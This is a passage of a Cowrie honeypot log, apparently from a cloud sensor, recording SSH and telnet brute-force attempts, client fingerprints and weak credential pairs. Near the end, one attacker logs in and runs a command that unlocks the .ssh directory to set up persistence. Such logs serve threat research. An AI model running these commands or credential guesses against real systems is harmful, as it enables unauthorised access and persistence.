llman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:26:09.311894Z","src_ip":"159.203.92.129","session":"dacb2546fa45","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"a123456","message":"login attempt [ansible/a123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:26:09.321516Z","src_ip":"159.203.92.129","session":"dacb2546fa45","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:26:10.327299Z","src_ip":"159.203.92.129","session":"dacb2546fa45","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"test.123","message":"login attempt [test/test.123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:26:10.387385Z","src_ip":"45.43.86.48","session":"3c4f48be0285","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.353949785232544,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:26:10.502503Z","src_ip":"209.126.87.217","session":"e7db1f3be096","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":58982,"dst_ip":"159.203.135.109","dst_port":23,"session":"1650ac62482f","protocol":"telnet","message":"New connection: 209.126.87.217:58982 (159.203.135.109:23) [session: 1650ac62482f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:26:11.457250Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":58984,"dst_ip":"159.203.135.109","dst_port":23,"session":"9b410d9a0624","protocol":"telnet","message":"New connection: 209.126.87.217:58984 (159.203.135.109:23) [session: 9b410d9a0624]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:26:11.668615Z"}
{"eventid":"cowrie.session.closed","duration":"8.0","message":"Connection lost after 8.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:26:11.694381Z","src_ip":"45.43.86.48","session":"3c4f48be0285","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.775029182434082,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:26:13.274951Z","src_ip":"209.126.87.217","session":"7bbd68767651","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":58986,"dst_ip":"159.203.135.109","dst_port":23,"session":"d5dde7c15267","protocol":"telnet","message":"New connection: 209.126.87.217:58986 (159.203.135.109:23) [session: d5dde7c15267]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:26:14.035491Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":58994,"dst_ip":"159.203.135.109","dst_port":23,"session":"3a1ea9451f5b","protocol":"telnet","message":"New connection: 209.126.87.217:58994 (159.203.135.109:23) [session: 3a1ea9451f5b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:26:14.518671Z"}
{"eventid":"cowrie.session.connect","src_ip":"177.36.200.182","src_port":24740,"dst_ip":"159.203.135.109","dst_port":22,"session":"31ca3def4d32","protocol":"ssh","message":"New connection: 177.36.200.182:24740 (159.203.135.109:22) [session: 31ca3def4d32]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:26:14.644376Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Renci.SshNet.SshClient.0.0.1","message":"Remote SSH version: SSH-2.0-Renci.SshNet.SshClient.0.0.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:26:14.649123Z","src_ip":"177.36.200.182","session":"31ca3def4d32","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"748f8c627d3f8ff9921d02f86f55ba2c","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,aes192-cbc,aes256-cbc,3des-cbc,blowfish-cbc,twofish-cbc,twofish192-cbc,twofish128-cbc,twofish256-cbc,arcfour,arcfour128,arcfour256,cast128-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha2-512-96,hmac-sha2-256-96,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-md5-96-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","aes192-cbc","aes256-cbc","3des-cbc","blowfish-cbc","twofish-cbc","twofish192-cbc","twofish128-cbc","twofish256-cbc","arcfour","arcfour128","arcfour256","cast128-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha2-512-96","hmac-sha2-256-96","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com","hmac-md5-96-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 748f8c627d3f8ff9921d02f86f55ba2c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:26:15.050017Z","src_ip":"177.36.200.182","session":"31ca3def4d32","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"toortoor","message":"login attempt [root/toortoor] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:26:16.252652Z","src_ip":"177.36.200.182","session":"31ca3def4d32","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:26:17.653656Z","src_ip":"177.36.200.182","session":"31ca3def4d32","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.35096192359924,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:26:17.813518Z","src_ip":"185.26.126.47","session":"221384345159","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.96802592277527,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:26:19.973627Z","src_ip":"209.126.87.217","session":"46e17c61449a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"125.31.2.160","src_port":34806,"dst_ip":"10.17.0.5","dst_port":22,"session":"5590530f02ea","protocol":"ssh","message":"New connection: 125.31.2.160:34806 (10.17.0.5:22) [session: 5590530f02ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:26:20.375513Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:26:20.380317Z","src_ip":"125.31.2.160","session":"5590530f02ea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:26:20.598588Z","src_ip":"125.31.2.160","session":"5590530f02ea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"34erdfcv","message":"login attempt [root/34erdfcv] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:26:21.513580Z","src_ip":"125.31.2.160","session":"5590530f02ea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:26:22.734595Z","src_ip":"125.31.2.160","session":"5590530f02ea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.835572242736816,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:26:23.908894Z","src_ip":"209.126.87.217","session":"e89bc7953b7a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"139.162.207.207","src_port":53826,"dst_ip":"10.17.0.5","dst_port":23,"session":"a306c27af689","protocol":"telnet","message":"New connection: 139.162.207.207:53826 (10.17.0.5:23) [session: a306c27af689]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:26:26.282432Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":49546,"dst_ip":"159.203.135.109","dst_port":23,"session":"a7f3c7eacac4","protocol":"telnet","message":"New connection: 209.126.87.217:49546 (159.203.135.109:23) [session: a7f3c7eacac4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:26:26.843200Z"}
{"eventid":"cowrie.session.closed","duration":38.77280855178833,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:26:28.686985Z","src_ip":"139.162.207.207","session":"a0d9ab507b38","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.54629349708557,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:26:30.407289Z","src_ip":"209.126.87.217","session":"9f243be0d7d7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"172.233.212.110","src_port":51492,"dst_ip":"10.17.0.5","dst_port":23,"session":"f5929ee79d43","protocol":"telnet","message":"New connection: 172.233.212.110:51492 (10.17.0.5:23) [session: f5929ee79d43]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:26:32.198372Z"}
{"eventid":"cowrie.session.closed","duration":34.09142827987671,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:26:34.050020Z","src_ip":"139.162.207.207","session":"3afd87f394f8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.07618188858032,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:26:38.247399Z","src_ip":"139.162.207.207","session":"e2c5aaf515b8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"139.162.207.207","src_port":35002,"dst_ip":"10.17.0.5","dst_port":23,"session":"f6886284f6b5","protocol":"telnet","message":"New connection: 139.162.207.207:35002 (10.17.0.5:23) [session: f6886284f6b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:26:38.260070Z"}
{"eventid":"cowrie.session.closed","duration":30.934024333953857,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:26:42.391198Z","src_ip":"209.126.87.217","session":"1650ac62482f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.11149859428406,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:26:43.779976Z","src_ip":"209.126.87.217","session":"9b410d9a0624","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.51250743865967,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:26:46.547880Z","src_ip":"209.126.87.217","session":"d5dde7c15267","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.306174993515015,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:26:46.824749Z","src_ip":"209.126.87.217","session":"3a1ea9451f5b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":60826,"dst_ip":"159.203.135.109","dst_port":22,"session":"4b2935ae9106","protocol":"ssh","message":"New connection: 159.203.92.129:60826 (159.203.135.109:22) [session: 4b2935ae9106]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:26:54.645755Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:26:54.650410Z","src_ip":"159.203.92.129","session":"4b2935ae9106","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:26:54.654932Z","src_ip":"159.203.92.129","session":"4b2935ae9106","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"aA123456","message":"login attempt [ansible/aA123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:26:54.663058Z","src_ip":"159.203.92.129","session":"4b2935ae9106","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":45234,"dst_ip":"159.203.135.109","dst_port":23,"session":"8af1a057b521","protocol":"telnet","message":"New connection: 209.126.87.217:45234 (159.203.135.109:23) [session: 8af1a057b521]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:26:54.863101Z"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:26:55.669412Z","src_ip":"159.203.92.129","session":"4b2935ae9106","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.29256987571716,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:26:59.135672Z","src_ip":"209.126.87.217","session":"a7f3c7eacac4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.63872718811035,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:27:03.836987Z","src_ip":"172.233.212.110","session":"f5929ee79d43","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":58048,"dst_ip":"159.203.135.109","dst_port":23,"session":"21cc32416dfa","protocol":"telnet","message":"New connection: 209.126.87.217:58048 (159.203.135.109:23) [session: 21cc32416dfa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:27:07.258452Z"}
{"eventid":"cowrie.session.closed","duration":42.565683364868164,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:27:08.848028Z","src_ip":"139.162.207.207","session":"a306c27af689","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":39620,"dst_ip":"159.203.135.109","dst_port":23,"session":"d3635b7d5258","protocol":"telnet","message":"New connection: 209.126.87.217:39620 (159.203.135.109:23) [session: d3635b7d5258]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:27:13.635236Z"}
{"eventid":"cowrie.session.closed","duration":36.37613010406494,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:27:14.636104Z","src_ip":"139.162.207.207","session":"f6886284f6b5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"139.162.207.207","src_port":49766,"dst_ip":"10.17.0.5","dst_port":23,"session":"55e859bf2865","protocol":"telnet","message":"New connection: 139.162.207.207:49766 (10.17.0.5:23) [session: 55e859bf2865]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:27:19.063585Z"}
{"eventid":"cowrie.session.connect","src_ip":"125.31.2.160","src_port":52576,"dst_ip":"10.17.0.5","dst_port":22,"session":"bbfb6f2f0d34","protocol":"ssh","message":"New connection: 125.31.2.160:52576 (10.17.0.5:22) [session: bbfb6f2f0d34]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:27:19.483166Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:27:19.487899Z","src_ip":"125.31.2.160","session":"bbfb6f2f0d34","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:27:19.705950Z","src_ip":"125.31.2.160","session":"bbfb6f2f0d34","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.162.207.207","src_port":49760,"dst_ip":"10.17.0.5","dst_port":23,"session":"d38a31d823e0","protocol":"telnet","message":"New connection: 139.162.207.207:49760 (10.17.0.5:23) [session: d38a31d823e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:27:19.783645Z"}
{"eventid":"cowrie.login.success","username":"oracle","password":"a","message":"login attempt [oracle/a] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:27:20.609930Z","src_ip":"125.31.2.160","session":"bbfb6f2f0d34","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:27:21.094853Z","src_ip":"125.31.2.160","session":"bbfb6f2f0d34","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:27:21.098854Z","src_ip":"125.31.2.160","session":"bbfb6f2f0d34","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:27:21.102746Z","src_ip":"125.31.2.160","session":"bbfb6f2f0d34","protocol":"ssh"}
